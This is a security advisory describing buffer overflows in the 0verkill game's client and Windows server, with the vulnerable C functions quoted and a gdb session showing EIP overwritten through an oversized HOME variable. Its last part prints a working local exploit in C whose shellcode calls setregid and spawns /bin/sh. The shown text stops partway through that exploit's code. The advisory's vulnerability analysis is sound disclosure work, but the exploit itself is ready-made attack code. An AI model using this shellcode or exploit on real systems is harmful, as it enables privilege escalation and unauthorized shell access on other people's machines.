0verkill - little simple vulnerability. I. Entry. Vulnerability is game 0verkill. There is some little bugs in clinet / server. II. Vulnerability details. a) client: Vulnerability function is load_cfg(), save_cfg() and maybe send_message(). There is simple buffer overflow bugs: "in file client.c" void load_cfg(char *host,char *name,int *color) { ... ... unsigned char txt[256]; #ifndef WIN32 sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); // first overflow #else sprintf(txt,"./%s",CFG_FILE); #endif ... ... a=strlen(txt); ... ... memcpy(host,txt,strlen(txt)+1); // second overflow ... ... a=strlen(txt); ... ... memcpy(name,txt,strlen(txt)+1); // third overflow ... ... } "in file client.c" void save_cfg(char *host,char *name,int color) { ... ... unsigned char txt[256]; #ifndef WIN32 sprintf(txt,"%s/%s",getenv("HOME"),CFG_FILE); // overflow #else sprintf(txt,"./%s",CFG_FILE); #endif ... ... } "in file client.c" void send_message(char *msg) { static unsigned char packet[MAX_MESSAGE_LENGTH+2]; int a; a=strlen(msg)+1; packet[0]=P_MESSAGE; memcpy (packet+1,msg,a); // maybe it's possible overflow send_packet(packet,a+1,(struct sockaddr *) (&server),my_id,0); } First we look for function load_cfg(). If we compiled 0verkill on other system that Windows we can set HOME and we can do overflow array txt (it's first overflow). Look: root@darkstar:~root/all/gry/0verkill# HOME=`perl - e 'print "A"x300'` root@darkstar:~root/all/gry/0verkill# gdb ./0verkill GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-slackware-linux"... (gdb) r Starting program: /root/root/all/gry/0verkill/./0verkill Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eip eip 0x41414141 0x41414141 (gdb) OK. Now we look for second and third bug... function memcpy() copy from array txt to host (in second bug) and from txt to name (thirs bug) bytes. We have controle on array txt by setting HOME. Memcpy copy strlen(txt)+1 bytes. Host and name is argument for load_cfg() function. This function is called by main() and there is declarate host and name array: "in file client.c" int main(int argc,char **argv) { ... ... char host[MAX_HOST_LEN+1]; char name[MAX_NAME_LEN+1]; ... ... memset(host,0,MAX_HOST_LEN+1); ... ... load_cfg(host,name,&color); ... ... } Now looked for file cfg.h: "in file cfg.h" ... ... #define MAX_NAME_LEN 24 /* maximal length of player's name */ #define MAX_HOST_LEN 64 /* maximal length of hostname */ ... ... " -=[ EOF ]=- " ... and now look for function save_cfg(). There is bug like that first bug in function load_cfg(). Now look for function send_message(). There is bad using function memcpy() (like that second and third bug in load_cfg() function) and maybe it is possible to do buffer overflow atack. This function read argument *msg. Call to function send_message() is in function play(). Looked: "in file client.c" void play(void) { ... ... char string[80]; ... ... if (chat) { ... ... case 1: char 0; send_message(string); ... ... } ... ... } MAX_MESSAGE_LENGTH is defined i cfg.h file too look: "in file cfg.h" ... ... #define MAX_MESSAGE_LENGTH 70 /* maximal length of chat message */ ... ... " -=[ EOF ]=- " packet is array 72, string is array 80 and maybe there is possible in this situation in function send_message() do buffer overflow atack becouse string is argument for send_message() function. b) server, compiled on Windows platform There is bug in function parse_command_line() and maybe in function GetLastErrorText(). Looked for function parse_command_line(): "in file server.c" void parse_command_line(int argc,char **argv) { int a; ... #ifdef WIN32 a=getopt(argc,argv,"hl:np:ri:Ic"); ... ... #endif switch(a) { ... ... #ifdef WIN32 ... ... case 'i': { /* install service */ char username[80], *pass=NULL; ... ... if ( (pass=strchr (optarg, '/'))==NULL ) { strcpy(username, optarg); memcpy(username, optarg, sizeof(username)-1); ... ... } We have simple bufer overflow by call strcpy(). I don't know why autor 2 times copying argument in to the array. First by call strcpy() and second time by call memcpy()... Function GetLastErrorText() have call sprintf that in theory could do buffer overflow, but i couldn't find how to fill argument for sprintf() who in theory could do overflow. Look: "in file server.c" LPTSTR GetLastErrorText(LPTSTR lpszBuf, DWORD dwSize) { ... LPTSTR lpszTemp=NULL; ... ... dwRet=FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ARGUMENT_ARRAY, NULL, globErr, LANG_NEUTRAL, (LPTSTR)&lpszTemp, 0, NULL); ... ... sprintf(lpszBuf, ": %u: %s", globErr, lpszTemp); // there :P ... ... } IpszBuf is argument for function GetLastErrorText(), lpszTemp is filled prbably by function FormatMessage(); but i couldn't find her. III. Exploit. Simple exploit for local bug in client 0verkill: /* * Simple local exploit for 0verkill by pi3 (pi3ki31ny) * Greetz: [greetz on my web] && other my friends (you know who you are) * * ...::: -=[ www.pi3.int.pl ]=- :::... */ #include #include #include #include #include #define PATH "./0verkill" #define BUFS 300 /* ...::: -=[ www.pi3.int.pl ]=- :::... */ char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68 \x3a" "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20 \x5d" "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69 \x68" "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68 \x3a\x3a" "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04 \xcd" "\x80" /* setregid (20,20) */ "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0 \x47" "\xcd\x80" /* exec /bin/sh */ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69" "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0 \x0b\xcd" "\x80" /* exit(0) */ "\x31\xdb\x89\xd8\xb0\x01\xcd\x80"; long ret_ad(char *a1, char *a2) { return (0xbffffffa-strlen(a1)-strlen(a2)); } int ussage(char *arg) { printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ] =- :::...\n"); printf("\n\tUssage:\n\t[+] %s [options]\n -? -o -p PATH\n\n",arg); exit(-1); } int main(int argc, char *argv[]) { long ret,*buf_addr; char *buf,*path=PATH; int i,opt,offset=0; FILE *fp; while((opt = getopt(argc,argv,"p:o:?")) != -1) { switch(opt) { case 'o': offset=atoi(optarg); break; case 'p': path=optarg; break; case '?': default: ussage(argv[0]); break; } } if ( (fp=fopen(path,"r"))==NULL) { printf("\n*\tI can\'t open path to victim! - % s\t*\n\n",path); ussage(argv[0]); } fclose(fp); if (!(buf=(char*)malloc(BUFS))) { printf("\nI can\'t locate memory! - buf\n"); exit(-1); } printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ] =- :::...\n"); printf("\n\t[+] Bulding buffors!\n"); ret=ret_ad(shellcode,path); ret+=offset; printf("\t[+] Using adres 0x%x\n",ret); buf_addr=(long*)buf; for(i=0;i